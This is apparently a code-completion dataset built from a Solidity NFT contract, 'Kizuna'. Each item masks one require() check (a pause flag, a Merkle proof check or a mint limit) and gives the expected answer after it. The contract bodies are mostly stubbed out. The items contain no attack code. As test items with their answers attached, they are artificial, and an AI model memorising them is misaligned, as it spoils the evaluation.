doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
!isWhitelistMintPhase2Paused,"Kizuna: Whitelist minting is paused"
192,722
!isWhitelistMintPhase2Paused
"Kizuna: Invalid proof"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { require(!isWhitelistMintPhase2Paused, "Kizuna: Whitelist minting is paused"); // Verify the merkle proof. bytes32 _node = keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(<FILL_ME>) _whitelistMint(_amountToMint, _maxAmountForAddress, whitelistPrice); } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
MerkleProof.verify(_merkleProof,whitelistPhase2MerkleRoot,_node),"Kizuna: Invalid proof"
192,722
MerkleProof.verify(_merkleProof,whitelistPhase2MerkleRoot,_node)
"Kizuna: Free minting is paused"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { require(<FILL_ME>) // Verify the merkle proof. bytes32 _node = keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(MerkleProof.verify(_merkleProof, freeMintMerkleRoot, _node), "Kizuna: Invalid proof"); unchecked { // Increase the amount minted by this address freeAddressesMintedAmount[msg.sender] += _amountToMint; freeMintSupply -= _amountToMint; } // Prevent an address from minting more than its allocation require(freeAddressesMintedAmount[msg.sender] <= _maxAmountForAddress, "Kizuna: Mint limit for address reached"); _mint(msg.sender, _amountToMint); } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
!isFreeMintPaused,"Kizuna: Free minting is paused"
192,722
!isFreeMintPaused
"Kizuna: Invalid proof"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { require(!isFreeMintPaused, "Kizuna: Free minting is paused"); // Verify the merkle proof. bytes32 _node = keccak256(abi.encodePacked(msg.sender, _maxAmountForAddress)); require(<FILL_ME>) unchecked { // Increase the amount minted by this address freeAddressesMintedAmount[msg.sender] += _amountToMint; freeMintSupply -= _amountToMint; } // Prevent an address from minting more than its allocation require(freeAddressesMintedAmount[msg.sender] <= _maxAmountForAddress, "Kizuna: Mint limit for address reached"); _mint(msg.sender, _amountToMint); } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
MerkleProof.verify(_merkleProof,freeMintMerkleRoot,_node),"Kizuna: Invalid proof"
192,722
MerkleProof.verify(_merkleProof,freeMintMerkleRoot,_node)
"Kizuna: Mint limit for address reached"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { require(!isFreeMintPaused, "Kizuna: Free minting is paused"); // Verify the merkle proof. bytes32 _node = 